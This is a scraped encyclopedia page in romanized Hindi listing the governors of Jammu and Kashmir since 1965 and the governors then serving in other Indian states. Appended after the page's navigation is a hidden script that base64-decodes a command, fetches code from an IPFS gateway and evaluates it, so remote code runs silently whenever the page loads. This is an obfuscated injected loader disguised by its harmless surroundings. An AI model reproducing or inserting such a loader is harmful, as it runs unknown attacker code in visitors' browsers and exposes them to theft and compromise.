जम्मू और कश्मीर के राज्यपाल

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search

[[chitr:Manoj-Sinha.jpg|thumb|250px|manoj sinha, rajyapal, jammoo aur kashmir]] san 1947 mean jab bharat azad hua, tab maharaja hari sianh kashmir ke shasak the. takaniki roop se ve 17 navambar, 1952 tak maharaj rahe; yadyapi 20 joon, 1949 ke samay unake putr karn sianh raj-pratinidhi the. 17 navambar, 1952 se 30 march, 1965 tak karn sianh jammoo-kashmir ke rajy pramukh the. 30 march, 1965 ko ve rajy ke pratham rajyapal bane. vartaman mean manoj sinha rajy ke rajyapal haian, jo 7 agast, 2020 se apane pad par asin haian.

jammoo aur kashmir ke rajyapal

kramaank nam chhavi padagrahan padamukti
1. karn sianh 90px|center|link=karn sianh 30 march, 1965 15 mee, 1967
2. bhagavan sahay 90px|center|link=bhagavan sahay 15 mee, 1967 3 julaee, 1973
3. el. ke. jha 90px|center|link=el. ke. jha 3 julaee, 1973 22 faravari, 1981
4. braj kumar neharoo 90px|center|link=braj kumar neharoo 22 faravari, 1981 26 aprail, 1984
5. jagamohan malhotra 90px|center|link=jagamohan malhotra 26 aprail, 1984 11 julaee, 1989
6. ke. vi. krishna rav 90px|center|link=ke. vi. krishna rav 11 julaee, 1989 19 janavari, 1990
(5.) jagamohan malhotra 90px|center|link=jagamohan malhotra 19 janavari, 1990 26 mee, 1990
7. girish chandr saksena 90px|center|link=girish chandr saksena 26 mee, 1990 12 march, 1993
(6.) ke. vi. krishna rav 90px|center|link=ke. vi. krishna rav 12 march, 1993 2 mee, 1998
(7.) girish chandr saksena 90px|center|link=girish chandr saksena 2 mee, 1998 4 joon, 2003
8. shrinivas kumar sinha 90px|center|link=shrinivas kumar sinha 4 joon, 2003 25 joon, 2008
9. narindar nath vohara 90px|center|link=narindar nath vohara 25 joon, 2008 23 agast, 2018
10. satyapal malik 90px|center|link=satyapal malik 23 agast, 2018 30 aktoobar, 2019
11. manoj sinha 90px|center|link=manoj sinha 7 agast, 2020 padasth


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

sanbandhit lekh

bharatiy rajyoan mean padasth rajyapal, uparajyapal evan prashasak
kramaank rajy rajyapal/uparajyapal chitr karyakal prarambh
1. aandhr pradesh vishv bhooshan harichandan center|80px|link=vishv bhooshan harichandan 24 julaee, 2019
2. arunachal pradesh bi. di. mishra center|80px|link=bi. di. mishra 3 aktoobar, 2017
3. asam jagadish mukhi center|80px|link=jagadish mukhi 10 aktoobar, 2017
4. bihar phagu chauhan center|80px|link=phagu chauhan 29 julaee, 2019
5. chhattisagadh anusuiya uike center|80px|link=anusuiya uike 29 julaee, 2019
6. gova pi. es. shridharan pillee center|80px|link=pi. es. shridharan pillee 7 julaee, 2021
7. gujarat achary devavrat center|80px|link=achary devavrat 22 julaee, 2019
8. hariyana bandaroo dattatrey center|80px|link=bandaroo dattatrey 7 julaee, 2021
9. himachal pradesh rajendr arlekar center|80px|link=rajendr arlekar 13 julaee, 2021
10. jharakhand ramesh bais center|80px|link=ramesh bais 14 julaee, 2021
11. karnatak thavar chand gahalot center|80px|link=thavar chand gahalot 11 julaee, 2021
12. keral arif mohammad khan center|80px|link=arif mohammad khan 6 sitambar, 2019
13. madhy pradesh mangoobhaee chhaganabhaee patel center|80px|link=mangoobhaee chhaganabhaee patel 6 julaee, 2021
14. maharashtr bhagat sianh koshyari center|80px|link=bhagat sianh koshyari 5 sitambar, 2019
15. manipur el. ganeshan center|80px|link=el. ganeshan 27 agast, 2021
16. meghalay satyapal malik center|80px|link=satyapal malik 19 agast, 2020
17. mizoram kanbhamapati haribaboo center|80px|link=kanbhamapati haribaboo 19 julaee, 2021
18. nagalaind jagadish mukhi center|80px|link=jagadish mukhi 17 sitambar, 2021
19. odisha ganeshi lal center|80px|link=ganeshi lal 29 mee, 2018
20. panjab banavarilal purohit center|80px|link=banavarilal purohit 31 agast, 2021
21. rajasthan kalaraj mishr center|80px|link=kalaraj mishr 9 sitambar, 2019
22. sikkim ganga prasad center|80px|link=ganga prasad 26 agast, 2018
23. tamil nadu ravindr narayan ravi center|80px|link=ravindr narayan ravi 18 sitambar, 2021
24. telangana tamilasaee suandararajan center|80px|link=tamilasaee suandararajan 8 sitambar, 2019
25. tripura satyadev narayan ary center|80px|link=satyadev narayan ary 7 julaee, 2021
26. uttar pradesh anandiben patel center|80px|link=anandiben patel 29 julaee, 2019
27. uttarakhand guramit sianh center|80px|link=guramit sianh (lephtineant janaral)|guramit sianh 15 sitanbar, 2021
28. pashchim bangal jagadip dhanakh d center|80px|link=jagadip dhanakh d 30 julaee, 2019
29. aandaman-nikobar devendr kumar joshi center|80px|link=devendr kumar joshi 8 aktoobar, 2017
30, dilli vinay kumar saksaina center|80px|link=vinay kumar saksaina 26 mee, 2022
31. jammoo-kashmir manoj sinha center|80px|link=manoj sinha 7 agast, 2020
32. laddakh radhakrishna mathur center|80px|link=radhakrishna mathur 31 aktoobar, 2019
33. puduchcheri ke uparajyapal tamilasaee suandararajan center|80px|link=tamilasaee suandararajan 18 faravari, 2021
34. chandigadh banavarilal purohit center|80px|link=banavarilal purohit 31 agast, 2021
35. daman evan div praphul khoda patel center|80px|link=praphul khoda patel 26 janavari, 2020
36. dadara evan nagar haveli praphul khoda patel center|80px|link=praphul khoda patel 26 janavari, 2020
37. lakshadvip praphul khoda patel (atirikt prabhar) center|80px|link=praphul khoda patel 5 disambar, 2020


varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah



<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>